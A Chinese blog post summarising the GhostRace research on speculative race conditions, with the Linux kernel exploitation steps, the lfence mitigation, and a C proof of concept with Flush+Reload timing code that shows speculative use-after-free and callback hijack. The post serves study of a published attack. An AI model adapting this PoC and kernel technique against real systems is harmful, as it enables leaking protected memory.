GhostRace: Exploiting and Mitigating Speculative Race Conditions-记录

文章目录

  • 论文
  • 背景
    • Spectre-PHT（Transient Execution ）
    • Concurrency Bugs
    • SRC/SCUAF和实验条件
  • 流程
    • Creating an Unbounded UAF Window
    • Crafting Speculative Race Conditions
    • Exploiting Speculative Race Conditions
  • poc
  • 修复
  • flush and reload

论文

https://www.usenix.org/system/files/usenixsecurity24-ragab.pdf

背景

Spectre-PHT（Transient Execution ）

现代 CPU 为提高性能，会对指令进行推测执行（就是CPU会先把可能的判断结果执行）
推测执行可能有两种结果：
a) 指令被正常提交
b) 指令因预测错误被回滚（squashed），产生Transient Execution，但相关缓存被保留

if (x < array1_size) {
    y = array2[array1[x] * 0x1000];
}
  1. x可控，多次x < array1_size后会认为可能依然是x < array1_size，然后执行if里的语句
  2. 如果x越界，但依然认为是x < array1_size，然后执行if里的语句。此时会把array1[x]越界访问的内容放入缓存，再通过array2[array1[x] * 0x1000]访问对应的位置
  3. 通过测信道可以探测出如果访问array2某个位置快一些，那么这个位置有可能就是array1[x]越界访问的内容，即泄露内容

Concurrency Bugs

在这里插入图片描述

SRC/SCUAF和实验条件

SRC：就是两个线程同时访问一个内存位置，一个是写操作，另一个是瞬时访问，此时瞬时访问能够绕过互斥锁。从而产生Speculative Concurrent Use-After-Free(SCUAF)和Concurrency Bugs类似

所有保护均开启， Linux kernel running on Intel x86-64.然后普通用户通过系统调用引发SRC来泄露数据

流程

在这里插入图片描述

nfc_hci_msg_tx_work该函数是Linux内核中近场通信（NFC）驱动核心的主机控制器接口（Host Controller Interface, HCI）层实现的一部分，负责处理内核发送到NFC设备的待处理消息。由于我们没有所需的NFC硬件来原生执行此函数，因此我们在分析过程中添加了一个系统调用以达到这一代码路径。

在这里插入图片描述

Creating an Unbounded UAF Window

在这里插入图片描述

目的：在free和设置NULL之间创建一个时间较大的窗口间隙

计时器到期会引发中断

首先通过设置定时器引起中断，在kfree时引起中断，但由于上锁，所以会等到已解锁就进入定时器的中断处理函数中，可以增加中断处理函数延长时间，这段时间通过其他核心发动系统调用使得向受害者核心发送中断，然后它陷入无限中断

Crafting Speculative Race Conditions

在这里插入图片描述

锁宏观上没问题，微观上可能有问题

第四行分支最终检查lock cmpxchgq指令的结果，该指令自动比较互斥锁ptr的当前值和旧值old，如果相同，则意味着互斥锁可以被锁定——将互斥锁设置为新值new，并授予对受保护临界区域的访问权，否则不行

我们可以多次获取互斥锁然后推测执行中获取互斥锁并进入受保护的临界区域。

其他常见同步写原语很多通过条件分支实现的，所以都很容易收到推测竞争条件的影响

实验得到不同架构不同核心和线程安排的瞬态执行时可以执行的指令数量
在这里插入图片描述

当两个线程跨核心运行时，窗口通常更大，这表明在推测终止之前，缓存一致性协议在跨内核传播锁体系结构状态方面起着至关重要的作用。（我的理解是前一个执行上锁后，另一个开始推测执行，原执行流检查上锁时候得到已经上锁的信息较慢，导致此时推测执行已经执行多条了）

Exploiting Speculative Race Conditions

在这里插入图片描述

  1. 分配hdev和hdev->cmd_pending_msg
  2. 误导mutex的条件分支
  3. 启动victim线程和风暴线程：设置定时器，并启动目标函数
  4. free后进入定时器中断处理函数，此时窗口增大，运行别的函数
  5. 此时在窗口内创建msgbuf来对应hci_msg
  6. 通过msgsnd申请到hdev->cmd_pending_msg一样大小的project，拿到刚刚释放的，设置好cb和cb_context
  7. nfc_hci_msg_tx_work出发瞬态推测执行劫持控制流

poc

#include <stdio.h>
#include <pthread.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>

#include "fr.h"

//
#define FR_BUFF_SIZE (2 * 4096)
char fr_buff[FR_BUFF_SIZE] __attribute__((aligned(4096)));
//为了准确测量不同位置的访问时间差异，确保每个缓存行位于单独的页面上是非常重要的。这样可以避免由于跨页引起的额外延迟干扰测量结果。
volatile int r __cacheline_aligned;
//
pthread_mutex_t lock;

/* 与小工具相关的代码/数据。 */
void my_callback()
{
}

void evil_callback()
{
    // 访问4096，其所在的起始页长放入缓存中
    maccess(&fr_buff[4096]);
}

typedef void (*cb_t)();
typedef struct data_s
{
    cb_t callback;
} data_t;
data_t *data_ptr;

/* 辅助函数。 */
void train_lock()
{
    int i;
    for (i = 0; i < 10; i++)
    {
        pthread_mutex_lock(&lock);
        pthread_mutex_unlock(&lock);
    }
}

void init()
{
    //数组初始化赋值才访问对应元素，不然直接访问未初始化会出现莫名其妙问题。所以按照正常流程先初始化再访问 !!!!

    memset(fr_buff, 'x', FR_BUFF_SIZE);
    //初始化后需要清空其所在的缓存
    // int i=4096*2;
    // printf("i %lu  buff %lu\n",i,probe_timing(&fr_buff[i]));
    flush(&fr_buff[0]);
    flush(&fr_buff[4096]);
    // int i=4096*2-10;
    // printf("i %lu  buff %lu\n",i,probe_timing(&fr_buff[i]));
    // 初始化锁 
    int r;
    r = pthread_mutex_init(&lock, NULL);
 
    // 初始化结构体
    data_ptr = malloc(sizeof(data_t));
    data_ptr->callback = my_callback;
    
}

int main()
{
    init();
    // 线程1：训练 pthread_mutex_lock(&lock)和pthread_mutex_unlock中的代码总是成功
    train_lock();

    // 线程1：获取锁，释放结构体
    pthread_mutex_lock(&lock);
    free(data_ptr);

    // 线程2：线程1在free()之后但在状态更新和锁释放之前被中断。然后，线程2重用内存以控制未来的悬挂指针引用（并劫持控制流到恶意回调）。 
    data_t *p = malloc(sizeof(data_t));
    p->callback = evil_callback;
    
    // 线程2：推测执行绕过上锁，并调用回调函数,这只会执行一个UAF（即，推测性控制流劫持
    r = pthread_mutex_trylock(&lock);//如果是pthread_mutex_lock(&lock);那么预测执行会回滚到pthread_mutex_lock(&lock);那么将陷入死循环
    if (r == 0)
    {
        data_ptr->callback();
        // pthread_mutex_unlock(&lock); 推测执行的指令数量根本不满足执行完pthread_mutex_unlock
    }
    

    // 线程1：恢复执行并更新NULL
    data_ptr = NULL;
    pthread_mutex_unlock(&lock);

    // 线程2：通过F+R测信道知道访问内存的时间较短的位置为推测执行中访问的位置
    unsigned long t1 = probe_timing(&fr_buff[0]);
    unsigned long t2 = probe_timing(&fr_buff[4096]);
    if (t2 < t1)
    {
        printf("得到信号 (%lu < %lu): 内存重用、推测性UAF以及推测性控制流劫持成功触发。\n", t2, t1);
    }
    else
    {
        printf("意外的时间：%lu << %lu\n", t1, t2);
    }

    return 0;
}

头文件

#ifndef FR_H
#define FR_H

// 定义 likely 宏，用于优化条件分支预测。
#define likely(expr) __builtin_expect(!!(expr), 1)

// 定义缓存行对齐属性宏，确保变量按照64字节边界对齐，并放置在特定的数据段中。
#define __cacheline_aligned \
  __attribute__((__aligned__(64), \
		 __section__(".data..cacheline_aligned")))

// 探测访问给定地址所需的时间。该函数使用汇编指令来测量读取一个内存位置前后的时钟周期数。
static inline unsigned long probe_timing(char *adrs) {
    volatile unsigned long time;

    asm __volatile__(
        "    mfence             \n" // 确保所有之前的存储操作已完成。
        "    lfence             \n" // 确保所有之前加载操作已完成。
        "    rdtsc              \n" // 读取时间戳计数器。
        "    lfence             \n" // 确保此指令前的所有加载都已完成。
        "    movl %%eax, %%esi  \n" // 将低32位时间戳保存到 ESI 寄存器。
        "    movl (%1), %%eax   \n" // 从内存位置加载数据（触发缓存行为）。
        "    lfence             \n" // 确保此指令前的所有加载都已完成。
        "    rdtsc              \n" // 再次读取时间戳计数器。
        "    subl %%esi, %%eax  \n" // 计算两次读取之间的时间差。
        "    clflush 0(%1)      \n" // 清除指定内存位置的缓存行。
        : "=a" (time)            // 输出参数：EAX 寄存器值赋给 'time'。
        : "c" (adrs)             // 输入参数：'adrs' 的值通过 ECX 寄存器传递。
        : "%esi", "%edx"         // 被修改的寄存器列表。
    );
    return time;
}

// 返回当前CPU的时钟周期数。rdtsc 指令读取时间戳计数器，它记录了自系统启动以来的时钟周期数。
static inline unsigned long long rdtsc() {
	unsigned long long a, d;
	asm volatile ("mfence"); // 确保所有之前的存储操作已完成。
	asm volatile ("rdtsc" : "=a" (a), "=d" (d)); // 读取时间戳计数器，分别放入 a 和 d。
	a = (d<<32) | a; // 组合 EDX:EAX 成一个64位时间戳。
	asm volatile ("mfence"); // 确保所有之前的存储操作已完成。
	return a;
}

// maccess 宏定义用于触发电平1缓存未命中，模拟内存访问。
#define maccess(p) \
  asm volatile ("movq (%0), %%rax\n" \
    : \
    : "c" (p) \
    : "rax")

// flush 宏定义用于清除指定内存位置的缓存行。
#define flush(p) \
    asm volatile ("clflush 0(%0)\n" \
      : \
      : "c" (p) \
      : "rax")

#endif

在这里插入图片描述

修复

  1. 序列化指令（lfence）：

    • lfence 是一种序列化指令，主要用于控制指令流的顺序。它会确保在它之前的所有操作完成后才会执行后续的指令。
    • 通过在 cmpxchg 之后插入 lfence，可以确保在锁定操作完成后，任何后续的操作不会被提前执行。这样就阻止了处理器在锁定机制确认之前，对关键区代码的任何投机执行。

  2. 实现细节：

    • 在 Linux 内核的 arch/x86/include/asm/cmpxchg.h 文件中进行了修改。
    • 具体地，在 __raw_cmpxchg 和 __raw_try_cmpxchg 汇编宏中加入了 lfence 指令。
    • 这些宏用于实现所有的写侧同步原语，通过这种方式，确保所有相关的同步操作都受到保护。

但内核性能下降5%

flush and reload

22.5 Flush and Reload
flush+reload学习笔记

缓存会加载4096个字节，也就是一个页到缓存中
clflush会清理缓存行，也是4096个字节，也就是一个页

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/940478.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

【STM32 Modbus编程】-作为主设备写入多个线圈和寄存器

【STM32 Modbus编程】-作为主设备写入多个线圈和寄存器

作为主设备写入多个线圈和寄存器 文章目录 作为主设备写入多个线圈和寄存器1、硬件准备与连接1.1 RS485模块介绍1.2 硬件配置与接线1.3 软件准备2、写入多个线圈2.1 数据格式2.2 发送数据2.3 结果3、写入多个寄存器3.1 数据格式3.2 发送数据3.3 结果本文将实现STM32作为ModBus主…
阅读更多...
国标GB28181协议平台Liveweb:搭建建筑工地无线视频联网监控系统方案

国标GB28181协议平台Liveweb:搭建建筑工地无线视频联网监控系统方案

随着科技高速发展&#xff0c;视频信号经过数字压缩&#xff0c;通过互联网宽带或者移动4G网络传递&#xff0c;可实现远程视频监控功能。将这一功能运用于施工现场安全管理&#xff0c;势必会大大提高管理效率&#xff0c;提升监管层次。而这些&#xff0c;通过Liveweb监控系统…
阅读更多...
AS-REP Roasting离线爆破攻击

AS-REP Roasting离线爆破攻击

针对一个域内用户&#xff0c;其账户选项有个设置叫作 “不要求 kerberos 预身份验证”&#xff0c;它默认是关闭的。 当 “不要求 kerberos 预身份验证” 选项被勾选&#xff0c;会出现以下效果&#xff1a; as-req 报文中不需要添加用户 hash 加密的时间戳&#xff0c;自动返…
阅读更多...
python中的局部变量、全局变量问题的思考（对比于c语言）

python中的局部变量、全局变量问题的思考（对比于c语言）

今天在运行python时遇到了局部变量和全局变量的问题&#xff0c;令我很迷惑。 首先&#xff0c;我在学习python之前先学习了c语言&#xff0c;所以c语言的一些东西影响了我对这个问题的思考。 在c语言中 局部变量和全局变量的区别就在于作用域的范围大小。在c语言中&#xf…
阅读更多...
进网许可认证、交换路由设备检测项目更新25年1月起

进网许可认证、交换路由设备检测项目更新25年1月起

实施时间 2025年1月1日起实施 涉及设备范围 核心路由器、边缘路由器、以太网交换机、三层交换机、宽带网络接入服务器&#xff08;BNAS&#xff09; 新增检测依据 GBT41266-2022网络关键设备安全检测方法交换机设备 GBT41267-2022网络关键设备安全技术要求交换机设备 GB/…
阅读更多...
文件，IO流

文件，IO流

目录 一 java 1. IO流 1&#xff09;输入输出&#xff08;以程序的视角判断 &#xff09; 1.1 IO流的分类 1&#xff09;字符流效率高于字节流 1.2 流和文件的关系 2. inputstream--字节输入流 2.1 fileinputstream 2.1.1常用方法&#xff1a; 1&#xff09;单个字符…
阅读更多...
pymssql-2.1.4.dev5-cp37-cp37m-win_amd64.whl 安装

pymssql-2.1.4.dev5-cp37-cp37m-win_amd64.whl 安装

pip install pymssql 安装pymssql出现下面的问题 error: Microsoft Visual C 14.0 is required. Get it with “Microsoft Visual C Build Tools”: http://landinghub.visualstudio.com/visual-cpp-build-tools 因为要使用python连接sqlserver数据库&#xff0c;需要pymssq…
阅读更多...
vue中验证码的实现方式

vue中验证码的实现方式

在写登录页的时候有的系统会让你也进行一下验证码绘制&#xff0c;那么验证码如何实现的呢&#xff1f;我在写登录页的时候通过将登录框&#xff0c;验证码分开页面来写&#xff0c;最后将它们变成标签来导入到我的样式页面中&#xff0c;这样写不仅方便&#xff0c;更容易修改…
阅读更多...
致远互联OA使用问题及解决方法记录（个人）

致远互联OA使用问题及解决方法记录（个人）

1、更换设备登录账号出现绑定要求 解决&#xff1a;后台管理员账号——M3安全管理——安全设置——删除绑定 2、审批消息错误回退 解决&#xff1a;协同工作——一已办事项——取回——重新审批/流程监督里撤回/流程索道节点回退 3、签章图片在表单上显示过大 解决&#x…
阅读更多...
《计算机组成及汇编语言原理》阅读笔记：p9-p27

《计算机组成及汇编语言原理》阅读笔记：p9-p27

《计算机组成及汇编语言原理》学习第 2 天&#xff0c;p9-p27 总结&#xff0c;总计 19 页。 一、技术总结 1.quantum physics(量子物理学) (1)quantum(量子) quantum的本意是&#xff1a;c. the smallest amount of sth(量子)。 In physics, a quantum is the minimum am…
阅读更多...
java_章节作业

java_章节作业

第1题 package com.hspedu.homework;/*** author:寰愬悏瓒&#xfffd;* date:2024/12/19 version:1.0*/ public class Homework01 {public static void main(String[] args) {//初始化Person对象数组&#xff0c;有3个Person对象&#xff1b;Person[] persons new Person[3];…
阅读更多...
Audiocraft智能音频和音乐生成工具部署及使用

Audiocraft智能音频和音乐生成工具部署及使用

1、概述 Facebook开源了一款名为AudioCraft的AI音频和音乐生成工具。 该工具可以直接从文本描述和参考音乐生成高质量的音频和音乐。AudioCraft包含MusicGen、AudioGen和EnCodec三个模型&#xff0c;分别实现音乐生成、音频生成和自定义音频模型构建。 2、项目地址 https://…
阅读更多...
华为云计算HCIE笔记02

华为云计算HCIE笔记02

第二章&#xff1a;华为云Stack规划设计 交付总流程 准备工作&#xff1a;了解客户的基本现场&#xff0c;并且对客户的需求有基本的认知。 HLD方案BOQ报价设备采购和设备上架 2.安装部署流程 硬件架构设计 硬件设备选配 设备上架与初始化配置 准备相关资料&#xff08;自动下载…
阅读更多...
StarRocks：存算一体模式部署

StarRocks：存算一体模式部署

目录 一、StarRocks 简介 二、StarRocks 架构 2.1 存算一体 2.2 存算分离 三、前期准备 3.1前提条件 3.2 集群规划 3.3 配置环境 3.4 准备部署文件 四、手动部署 4.1 部署FE节点 4.2 部署BE节点 4.3 部署CN节点&#xff08;可选&#xff09; 4.4 FE高可用…
阅读更多...
红米Note 9 Pro5G刷小米官方系统

红米Note 9 Pro5G刷小米官方系统

前言 刷机有2种方式&#xff1a;线刷 和 卡刷。 线刷 线刷&#xff1a;需要用电脑刷机工具&#xff0c;例如&#xff1a;XiaoMiFlash.exe&#xff0c;通过电脑和数据线对设备进行刷机。 适用场景&#xff1a; 系统损坏无法开机。恢复官方出厂固件。刷机失败导致软砖、硬砖的…
阅读更多...
关于Tomcat的一些关键参数

关于Tomcat的一些关键参数

目录 Tomcat参数总览设置位置 参数分析Tomcat内部类maxConnections属性Tomcat内部类的acceptCountTomcat有几个Acceptor线程Tomcat的工作线程池 Tomcat参数总览 package org.springframework.boot.autoconfigure.web; /** * * {link ConfigurationProperties ConfigurationP…
阅读更多...
网络安全核心目标CIA

网络安全核心目标CIA

网络安全的核心目标是为关键资产提供机密性(Confidentiality)、可用性(Availablity)、完整性(Integrity)。作为安全基础架构中的主要的安全目标和宗旨&#xff0c;机密性、可用性、完整性频频出现&#xff0c;被简称为CIA&#xff0c;也被成为你AIC&#xff0c;只是顺序不同而已…
阅读更多...
HIPT论文阅读

HIPT论文阅读

题目《Scaling Vision Transformers to Gigapixel Images via Hierarchical Self-Supervised Learning》 论文地址&#xff1a;[2206.02647] Scaling Vision Transformers to Gigapixel Images via Hierarchical Self-Supervised Learning 项目地址&#xff1a;mahmoodlab/HI…
阅读更多...
智能挂号系统设计典范：SSM 结合 Vue 在医院的应用实现

智能挂号系统设计典范：SSM 结合 Vue 在医院的应用实现

摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了医院预约挂号系统的开发全过程。通过分析医院预约挂号系统管理的不足&#xff0c;创建了一个计算机管理医院预约挂号系统的方案。文章介绍了医院预约挂号系统的系…
阅读更多...
Windows11 家庭版安装配置 Docker

Windows11 家庭版安装配置 Docker

1. 安装WSL WSL 是什么&#xff1a; WSL 是一个在 Windows 上运行 Linux 环境的轻量级工具&#xff0c;它可以让用户在 Windows 系统中运行 Linux 工具和应用程序。Docker 为什么需要 WSL&#xff1a; Docker 依赖 Linux 内核功能&#xff0c;WSL 2 提供了一个高性能、轻量级的…
阅读更多...
最新文章

Copyright @ 2022~2023